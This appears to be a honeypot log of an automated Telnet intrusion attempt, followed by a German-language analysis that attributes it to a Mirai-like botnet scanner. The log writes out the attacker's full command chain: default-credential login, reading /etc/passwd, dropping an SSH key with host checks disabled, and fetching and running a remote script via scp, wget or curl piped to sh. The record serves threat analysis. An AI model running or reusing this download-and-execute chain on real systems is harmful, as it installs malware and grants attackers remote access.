29.09.2026, 08:18 UTC · 16 Befehle · über telnet · Indien
user='admin' pass='admin' admin@srv01:~$ id admin@srv01:~$ cat /etc/passwd admin@srv01:~$ echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A" uid=1000(admin) gid=1000(admin) groups=1000(admin),27(sudo) root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List admin@srv01:~$ enable admin@srv01:~$ system admin@srv01:~$ shell admin@srv01:~$ sh admin@srv01:~$ bash admin@srv01:~$ cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY----- admin@srv01:~$ [Token] admin@srv01:~$ [Token] admin@srv01:~$ [Token] admin@srv01:~$ [Token] admin@srv01:~$ [Token] admin@srv01:~$ -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no admin@srv01:~$ UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -s -F sshcfg -i key.ppk [E-Mail]:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh telnet >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://[IP]/sh || curl -sk https://[IP]/sh) | sh -s telnet; fi; rm -rf sshcfg key.ppk out_sh; echo -e "\x72\x65\x64\x74\x61\x69\x6C\x5F\x62\x6F\x74\x5F\x74\x65\x6C\x6E\x65\x74\x5F\… bash: enable: no such builtin function bash: system: command not found bash: shell: command not found sh: 0: Illegal option - bash: cd: /dev/shm: No such file or directory bash: key.ppk: Permission denied bash: sshcfg: Permission denied bash: chmod: Permission denied bash: scp: command not found bash: wget: command not found bash: curl: command not found bash: rm: Permission denied redbot_telnet_ok
Der Angreifer meldete sich über Telnet mit Standardzugangsdaten an und prüfte die Systemidentität sowie die Benutzerliste. Anschließend versuchte er, durch Eingabe von Shell-Befehlen eine interaktive Umgebung zu erzwingen. Er erstellte eine SSH-Schlüsseldatei und eine Konfigurationsdatei im temporären Verzeichnis. Danach versuchte er, eine Payload-Datei über SCP oder HTTP von einem externen Server herunterzuladen und auszuführen.
Die Befehle id und cat /etc/passwd dienen der Aufklärung über Benutzerrechte und Systembenutzer. Die Eingabe von enable, system und shell versucht vergeblich, in privilegierte Modi oder eine echte Shell zu wechseln. Der lange Block schreibt einen privaten SSH-Schlüssel und eine SSH-Konfiguration, die Host-Prüfungen deaktiviert, um Man-in-the-Middle-Angriffe zu vermeiden. Die letzten Befehle nutzen scp oder wget, um eine Datei namens out_sh vom Angreifer-Server zu laden und sie mit sh auszuführen, was die eigentliche Malware-Installation darstellt.
Das Ziel war die Installation einer Backdoor oder eines Botnet-Agents auf dem kompromittierten System. Dies wird durch den Versuch deutlich, eine externe Skriptdatei herunterzuladen und sofort auszuführen. Der Einsatz eines vorab generierten SSH-Schlüssels deutet darauf hin, dass der Angreifer persistente Fernzugriffe für spätere Operationen wie Kryptomining oder Datenabfluss vorbereiten wollte.
Dieses Muster ist extrem verbreitet und stammt oft von automatisierten Botnet-Scannern, die nach IoT-Geräten oder schwach gesicherten Linux-Servern suchen. Die Kombination aus Standard-Passwörtern und dem Versuch, Skripte über SCP oder HTTP zu laden, ist ein Standardverfahren in der Malware-Familie Mirai oder ähnlicher Varianten.